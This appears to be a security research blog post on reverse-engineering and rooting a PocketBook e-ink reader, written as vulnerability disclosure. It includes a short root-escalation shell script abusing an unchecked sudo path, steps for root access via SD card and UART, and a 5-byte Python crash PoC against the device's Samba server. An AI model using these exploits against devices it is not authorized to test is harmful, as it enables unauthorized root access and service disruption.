E-ink maiden: Bring your reader to the reverser
- 01/12/2018 - dansSo, one of our researchers bought an electronic paper reader tablet, and instead of reading ebooks on the train, started having fun with it!
The main objective of this blog post is to better understand the internal workings of the reader, in order to eventually root it. We will proceed in little steps, from getting to know the device, reversing its update file format, gaining an initial foothold, elevating our privileges and finally trying to explore some interesting parts.
Reconnaissance
This device is branded by a French Ebook company, but is manufactured by a Swiss company (PocketBook1) and another company (Obreey2), based in Ukraine. There are several variations of this model, sold by several companies worldwide, but we assume that the hardware is similar and the findings should still apply.
Hardware
At the core of the reader is an Allwinner A13 system-on-chip, based on an ARM processor (label 6) . This processor drives two controllers (labels 4 and 5) for the touchpad and the electronic ink screen, and the firmware is stored in a SD memory card (label 4).
Two debug interfaces are present, 4 UART pins on the right of the device (label 8), and some I2C pins next to the touchscreen controller connector (label 7).
There is also a Realtek RTL8188 (label1) Wi-Fi module on the top left of the PCB.
Software
It is possible by design to run custom software on the reader, and PocketBook has published several Software Development Kits on GitHub.
Reverse engineering the upgrade file format
Firmware upgrades for the device can be downloaded from both the retailer and the manufacturer website. It is comprised of a zip file containing several files:
$ file updates/T626.5.14.1487/*
fwinfo.xml: ASCII text
SWUPDATE.BIN: gzip compressed data
After decompressing the SWUPDATE.BIN
file using gzip
, we obtain a binary file starting with a 0x400 bytes header, shown below.
00000000 50 6f 63 6b 65 74 42 6f 6f 6b 55 70 64 61 74 65 |PocketBookUpdate|
00000010 50 6f 63 6b 65 74 42 6f 6f 6b 36 32 36 00 00 00 |PocketBook626...|
00000020 00 00 00 00 54 36 32 36 2e 35 2e 31 34 2e 31 00 |....T626.5.14.1.|
00000030 0c 8a 0c 1e 74 cf 0f 5b 25 5f f5 b9 95 a3 5e 52 |....t..[%_....^R|
00000040 04 98 1c 8b 32 51 14 f6 25 94 f1 98 26 c8 48 3b |....2Q..%...&.H;|
00000050 4c 66 d7 41 88 2d ce d4 c0 83 44 64 85 2c e1 33 |Lf.A.-....Dd.,.3|
00000060 e8 86 34 60 1a ae 1c e6 d6 f4 be f6 bb ab e2 90 |..4`............|
00000070 4a cb ed e9 2d e0 43 36 27 4c 09 80 84 b3 b4 c7 |J...-.C6'L......|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000000c0 6a a1 b2 5a 00 00 00 00 00 00 00 00 00 00 00 00 |j..Z............|
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000100 61 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 |a...............|
00000110 73 00 00 00 00 00 00 00 00 00 01 00 a7 ad 09 00 |s...............|
00000120 40 00 00 00 00 00 00 00 00 00 0b 00 31 02 00 00 |@...........1...|
00000130 6b 00 00 00 00 00 00 00 00 00 0c 00 14 23 3d 00 |k............#=.|
00000140 63 00 00 00 00 00 00 00 00 00 4a 00 00 a0 37 00 |c.........J...7.|
00000150 40 00 00 00 00 00 00 00 00 00 82 00 19 7d 01 00 |@............}..|
00000160 72 00 00 00 00 00 00 00 00 00 84 00 00 b0 00 01 |r...............|
00000170 65 00 00 00 00 00 00 00 00 00 85 01 00 ec 4f 0d |e.............O.|
00000180 54 00 00 00 00 00 00 00 00 00 d5 0e 00 a0 04 01 |T...............|
00000190 40 00 00 00 00 00 00 00 00 00 da 0f 46 b4 10 00 |@...........F...|
000001a0 40 00 00 00 00 00 00 00 00 00 eb 0f 1f b4 10 00 |@...............|
000001b0 40 00 00 00 00 00 00 00 00 00 fc 0f 72 b5 14 00 |@...........r...|
000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000400 56 45 52 53 49 4f 4e 3d 54 36 32 36 2e 35 2e 31 |VERSION=T626.5.1|
Fortunately for us, this firmware format is already partially documented on GitHub.
However, as the extraction tool did not know about certain partition types, we developed a quick script based on a Katai struct file.
The ksy
file and an associated script are published on our GitHub here and here.
As documented in the script, the header contains a partition table and metadata for the update including the new version and a cryptographic signature. Each partition entry is described by 16 data bytes, containing the type of the partition, its size and the starting offset in the file.
The integrity of the script is checked by first computing a MD5 hash of each partition, hashing (still with MD5) this list of hashes, and then comparing it with the expected value stored in the header.
The update is also signed using several public keys hardcoded in the file /etc/swupdate.pk
It should be noted that these public keys are shared between retailers, and there are currently 3 public keys in the file.
Developer humor
It seems that PocketBook developers also have a good sense of humor, as funny filenames are used during the upgrade process, including directory names as /tmp/megadog
and /tmp/dragon
.
Rooting the device
There are several ways to root the device, the majority of them implying removing the back cover and voiding the warranty.
Hey, but at this point, your device is already open, no?
Code execution
As said before, there is a documented way345 to execute custom code on the device by dropping executables in a hidden folder when connecting the reader to a computer.
This folder, named applications
, already contains some useful applications including sudoku.app
or chess.app
.
So, let's put our own game of shells in it!
The applications are run as the user account reader
. That's a start, at least we're not nobody
, but there are two other users on the reader, sreader
and the almighty root
.
The easy way
When extracting the files from the upgrade format, we noticed that there is a sudo
binary stored in the /ebrmain/bin/
directory.
By using the same execution path as before, let's check if we can run something with elevated privileges!
sudo -l
User reader may run the following commands on this host:
(ALL) NOPASSWD: /ebrmain/bin/sshstart.sh, (ALL) /ebrmain/bin/proftpd, (ALL)
/ebrmain/bin/ip-over-usb-start.sh, (ALL) /sbin/ifconfig, (ALL)
/ebrmain/bin/ntpdate, (ALL) /bin/set_bootmode calibrate
(sreader) NOPASSWD: /ebrmain/bin/cleanstate.sh
(sreader) /ebrmain/bin/runonce.sh
At first glance, this configuration includes a bunch of shell scripts, but none of them exists on the device. We actually overlooked this point, and after rooting the device by other means, came back to it to find a vulnerability lurking inside. In fact, the path of the executable calibrate
is not checked, so we can execute anything with the same name as root!
The exploit below can be put on the device in the applications
folder to get a root shell:
#!/bin/sh
# check the sudo configuration
/ebrmain/bin/sudo -l > /mnt/ext1/result.txt
# deploy POC
echo "whoami >> /mnt/ext1/result.txt" > /tmp/calibrate
# make it executable
cd /tmp && chmod +x calibrate
# get root
/ebrmain/bin/sudo ./calibrate
After checking some firmwares, this vulnerability seems to affect only the PocketBook TouchLux 2 and 3 models.
The hard way: (ab)using the SD card
As we noticed earlier, the device contains a SD card. It is publicly documented that you can upgrade the storage by replacing this card with a bigger one on other types of readers6.
However, instead of enlarging our storage, what if we enlarge our privileges? Let's start by checking the init script named /etc/init.d/rcS
.
#! /bin/sh
PATH=/sbin:/bin:/usr/bin
[...]
mount -a
[ -f /boot/developer_mode ] && /lib/modules/ins_usbnet.sh
[ -f /mnt/secure/netserver ] && /lib/modules/ins_usbnet.sh
[...]
As we can see, this script checks at each boot if any of two files is present, it will launch another script named ins_usbnet.sh
.
This script's content is as follow:
#!/bin/sh
NET=192.168.205
[...]
cd /sys/class/android_usb/
echo 0 >android0/enable
echo rndis >android0/functions
echo Obreey >android0/iManufacturer
echo Obreey >android0/f_rndis/manufacturer
echo Pocketbook >android0/iProduct
echo 04b3 >android0/idVendor
echo 4010 >android0/idProduct
echo 1 >android0/enable
[...]
/sbin/udhcpd $UDHCONF
[...]
/sbin/tinysmbd -c $SMBCONF -q -d
/sbin/dropbear -G $NET
So, if we touch one of the two files, reboot and plug in the USB cable, we will probably be rewarded by a rndis_host
modem and a SSH server listening on the reader IP address!
As we already have dismantled the cover of the reader, we can extract the SD card, mount the /dev/mmcblk0p9
partition and add the developer_mode
file.
After rebooting the device, we can connect to the reader with ssh, and without a password we are granted a root shell!
Another hard(ware) way: Using the UART debug port
After soldering pins to the UART test points, a serial connection with baudrate 115200 is exposed, and when interrupted during boot, it will drop you directly to a root shell.
Miscellaneous
Boot process
The device uses an Allwinner SOC processor, and boots using a specific bootloader called eGON
with specific drivers, which in turns load a Linux boot image. The code of the bootloader can be found on here.
It is possible to boot in a special mode called FEL by pressing a button during the boot process. When connected with a USB cable, the device then exposes a specific device which can be interacted with using the tools in the sunxi-tools
package. This procedure is documented7.
Cryptographic secrets management
ReadSecret and WriteSecret
Two interesting functions named ReadSecret
and WriteSecret
are exposed by the development kit. These functions are used in numerous applications in the reader, from the network settings management (to store Wi-Fi passwords) to the ebook readers themselves (to store DRM keys or API tokens for example).
As most of the functions exposed in the SDK, they rely on a IPC mechanism based on standards Unix message queues. At least two of these message queues are used, with keys 0xA1230F
(used in the function hw_ipcrequest
and 0xA1230E
used for secure IPC requests.
Each of the messages written in these queues have an ID, most of them defined in the inkview.h
header. As for our example, a call to WriteSecret
emits a message with the ID 0x104 (MSG_PWENCRYPT
) to the non secure queue.
The creator and owner of both these message queues is the process ./pocketbook
which is a symbolic link to the monitor.app
binary.
In this binary, following a big switch case parsing the different message codes, we find two functions named encrypt_password
and decrypt_password
called when the message ID is equal to MSG_PWENCRYPT
(respectively MSG_PWDECRYPT
).
This custom cipher is only able to encrypt 0x40 bytes of data, and is based on a 4 bytes salt and 8 bytes derived from a specific device key.
It proceeds by generating a keystream with 4 MD5 hashes of the salt and the key (and mutating one byte of the salt between each hash), and then it generated the ciphered data by xoring each byte of the clear data with the corresponding byte in the keystream.
This particular construction makes the global algorithm weak to known clear text attacks, as an attacker can quickly recover parts of the keystream. Or instead of mounting this attack, one can simply ask the system to decrypt it using ReadSecret
;-)
Cryptographic oddities
During our reverse engineering streak, we noticed some weird cryptographic primitives, for example the function OsyUtilities::SHA0BadCrypt
. As its name may not imply, this function does not implement a SHA0 variant, but some bad cryptography based on a alphabetic substitution cipher.
We also found some fixed keys (in the analytics binary) or some custom xor schemes used to obfuscate the code flow in a library named libioc.so
.
Debug script containing credentials
In some of the updates, debug tools were left over in the firmware upgrade file. One of these tools, named sshstart.sh
, is referenced in the sudoers
configuration file. This script contains credentials for establishing a SSH tunnel between the device and a server owned by PocketBook.
Analytics
When mounting the device on a computer, we can find several .gz
files under the folder /system/usage_stat/
. These files are named file_to_send[TIMESTAMP]_XXX.gz
, and as their names imply, are sent to a remote server.
These files are produced by the executable usage_stat.app
, which collects various "events" from the reader system, packages them in the archive logs, and sends them to the server tracking.obreey.com
.
The application collects a bunch of events, for example when a new book is pushed on the device, when the device boots and even when the user opens a book.
So it's good to know that some developers might know what you're reading and when you're reading it!
tinysmbd
crash
When the local modem is activated by the script /lib/modules/ins_usbnet.sh
, it also launches a tiny Samba server listening on port 139.
It is possible to crash this server by sending it only 5 bytes!
The root cause of this crash is a double call to the function SmbSessionExit
leading to a double free when the packet does not contain the samba magic word.
On the client side:
import socket
s = socket.create_connection(("192.168.205.1", 139))
s.send('\x00\x00\x00\x01\x00')
On the server side:
~ # /sbin/tinysmbd -c /var/run/tinysmb.conf
workgroup : 'WORKGROUP'
hostname : 'PocketBook'
local ip : '192.168.205.1'
subnetmask : '255.255.255.0'
*** glibc detected *** /sbin/tinysmbd: double free or corruption (out): 0x00cf63b0 ***
Happy ending
So, after reversing and owning the device, we can transform the reader in an ARM development platform with an e-ink screen! The security of the firmware is clearly not perfect, but the vulnerabilities have been reported to the constructor and will be fixed soon in an upcoming release. In the meantime, it can be used by hobbyists3 for tuning their device.
I would like to thank my colleagues for their help in this research, and J. for not losing his temper when looking at me tearing the device apart.